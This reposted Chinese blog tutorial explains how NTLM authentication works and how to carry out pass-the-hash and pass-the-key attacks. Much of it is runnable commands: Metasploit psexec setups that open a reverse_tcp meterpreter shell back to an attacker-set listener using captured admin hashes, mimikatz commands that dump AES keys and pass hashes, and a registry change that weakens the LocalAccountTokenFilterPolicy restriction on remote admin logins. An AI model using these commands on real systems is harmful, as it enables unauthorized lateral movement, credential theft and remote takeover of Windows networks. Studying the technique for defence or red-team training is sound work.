ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

哈希传递攻击原理及利用

2021-02-07 12:04:31  阅读:268  来源: 互联网

标签:administrator 攻击 NTLM 传递 exploit 哈希 原理


0x01、Pass-the -hash概述

NTLM Hash验证过程

1.用户输入username、password、domainname(交互式才需要这个步骤),客户端会计算hash值保存在本地;
2.客户端将username明文发给DC;
3.DC生成一个16Byte的随机数(challenge)发送给客户端;
4.客户端通过运算生成一个响应值response=f(hashes,challenge,other)=>other根据版本变化,例如时间戳来防止回访等;
5.客户端将响应值发送给DC;
6.DC经过同样的运算result = f(hashes,challenge,other),然后比较result和response,一直就验证通过,不一致则验证不通过;
7.备注:目标不一定是DC,hash对应的账号所登录的(有缓存的)工作站也可以。

我们可以看看工作组中和域环境中的NTLM认证过程

第三步的对比,发现工作组和域环境的认证方式都是一样的

客户端收到服务端返回的 TYPE 2 消息, 读取出服务端所支持的内容,并取出其中的随机值Challenge,用缓存的服务端的密码的NTLM-Hash对其进行加密,并与用户名、Challenge等一起组合得到 Net-NTLMHash,最后将Net NTLM-Hash封装到 NTLM_AUTH 消息中(被称为 TYPE 3 消息, Authenticate认证消息),发往服务端

唯一的不同,就是域环境下多了4和5两个步骤

第四个步骤:

服务器接收到客户端发送来的 NTLM_AUTH 的 TYPE 3 消息后,取出其中的Net NTLM-Hash值,并向DC域控(Domain Control)发送针对客户端的验证请求。该请求主要包含以下三方面的内容:客户端用户名、原始的Challenge 和 加密后的Challenge(也就是Net NTLM-Hash)。

第五个步骤:

DC根据用户名获取该帐号的密码哈希值 NTLM-Hash,用密码哈希值 NTLM-Hash 对原始的Challenge进行加密得到Net NTLM-Hash。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器。

但是在工作组的环境下也是这样,目标不一定是DC,hash对应的账号所登录的(有缓存的)工作站也可以。

所以,域环境和工作组环境下都可以使用NTLM hash传递攻击

从而我们可以通过第一步,进行伪造;为什么呢?

相信大家大部分都是web狗,我就以登陆网址为例子

哈希传递攻击是基于NTLM认证的一种攻击方式。哈希传递攻击的利用前提是我们获得了某个用户的密码哈希值,但是解不开明文。这时我们可以利用NTLM认证的一种缺陷,利用用户的密码哈希值来进行NTLM认证。在域环境中,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击登录内网中的其他机器。

0x02、hash传递攻击实操

在工作组环境中:

  • Windows 2003和之前的机器,可以使用本地管理员组内用户进行攻击。
  • Windows 2003 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。

在域环境中:

  • 只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。

1、msf进行hash传递攻击

有些时候,当我们获取到了某台主机的 administrator 用户的密码哈希值 ,并且该主机的445端口打开着。我们则可以利用 exploit/windows/smb/psexec 模块用MSF进行远程登录(哈希传递攻击)。这个是rhost可以是一个主机,也可以设置一个网段。

这里目标主机的Windows Vista之后的机器,所以只能使用administrator用户进行攻击。

(一)、工作组环境

msf > use  exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.10.27
msf exploit(psexec) > set rhost 192.168.10.14
msf exploit(psexec) > set smbuser Administrator
msf exploit(psexec) > set smbpass 815A3D91F923441FAAD3B435B51404EE:A86D277D2BCD8C8184B01AC21B6985F6   #这里LM和NTLM我们已经获取到了
msf exploit(psexec) > exploit 

(二)、域环境

当我们获取到了域管理员组内用户的密码哈希值 ,并且该主机的445端口打开着。我们则可以利用 exploit/windows/smb/psexec 模块用MSF进行哈希传递攻击。

msf > use  exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.10.11
msf exploit(psexec) > set rhost 192.168.10.131
msf exploit(psexec) > set smbuser test   #test用户在域管理员组内,注意这里不需要写域前缀
msf exploit(psexec) > set smbpass AADA8EDA23213C020B0C478392B5469F:51B7F7DCA9302C839E48D039EE37F0D1
msf exploit(psexec) > exploit 

2、mimikatz进行hash传递

privilege::debug    #先提权
#使用administrator用户的NTLM哈希值进行攻击
sekurlsa::pth /user:用户名  /domain:目标机器IP  /ntlm:密码哈希

(一)、工作组

(二)、域环境

这时候使用下面这条命令查看是否有权限

dir \\dc.sun.com\c$
#也可以ip查看
dir \\192.168.1.5\c$

0x03、Pass The Key

当机器打了KB2871997补丁之后,我们发现使用域管理员组内无法进行hash传递攻击,但是administrator账号(sid为500)例外;不管administrator账号怎么修改,或者新增的管理员账号,sid为500,即可进行hash传递攻击

要求前提

  • 域环境下
  • 安装了KB2871997补丁
privilege::debug #提升权限
sekurlsa::ekeys  #抓取aes秘钥
#aes-256传递
sekurlsa::pth /user:用户名 /domain:域名 /aes256:
#aes-128传递
sekurlsa::pth /user:用户名 /domain:域名 /aes128:
#使用AES-256进行Key传递攻击
sekurlsa::pth /user:administrator /domain:xie.com /aes256:1a39fa07e4c96606b371fe12334848efc60d8b3c4253ce6e0cb1a454c7d42083
#使用AES-128进行Key传递攻击
sekurlsa::pth /user:administrator /domain:xie.com /aes128:4728551c859bbe351e9c11b5d959163e

0x04、KB2871997补丁怎么回事?

其实 KB2871997 的补丁并没有多大的用处,由于在 Windows Vista 时代,微软就通过将LocalAccountTokenFilterPolicy 值默认设置为 0 来禁止非administrator账号的远程连接(包括哈希传递攻击),但是administrator用户不受影响。即使目标主机更新了KB2871997的补丁,仍然可以使用PID=500的用户进行哈希传递攻击,而 PID=500 的用户默认为 aministrator,所以仍然可以使用administrator用户进行哈希传递攻击。并且在打了KB2871997 补丁的机器上,通过将LocalAccountTokenFilterPolicy设置为1,也还是可以使用普通管理员账号进行哈希传递攻击

实验

  • Windows Server 2008R2:192.168.10.20
  • 域管理员:administrator 、 xie

未打 KB2871997 补丁前,使用 administrator 账号可以成功进行哈希传递攻击,使用管理员账号 xie 无法进行哈希传递攻击。

打上 KB2871997 补丁后,使用 administrator 账号依然可以成功进行哈希传递攻击,使用管理员账号 xie 无法进行哈希传递攻击。

将 administrator 账号重命名为 admin 账号后,由于不存在 administrator 账号了,所以无法使用administrator 账号进行哈希传递攻击,但是可以使用 admin 账号紧进行哈希传递攻击,因为 admin 账号的SID值为 500。

修改目标机器的 LocalAccountTokenFilterPolicy 为1后,使用普通域管理员账号 xie 也可进行哈希传递攻击。

修改 LocalAccountTokenFilterPolicy 为1

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

恢复 LocalAccountTokenFilterPolicy 为0 (删除后需要重启 explorer.exe 才能使修改生效)

reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /f

标签:administrator,攻击,NTLM,传递,exploit,哈希,原理
来源: https://www.cnblogs.com/0x7e/p/14384523.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有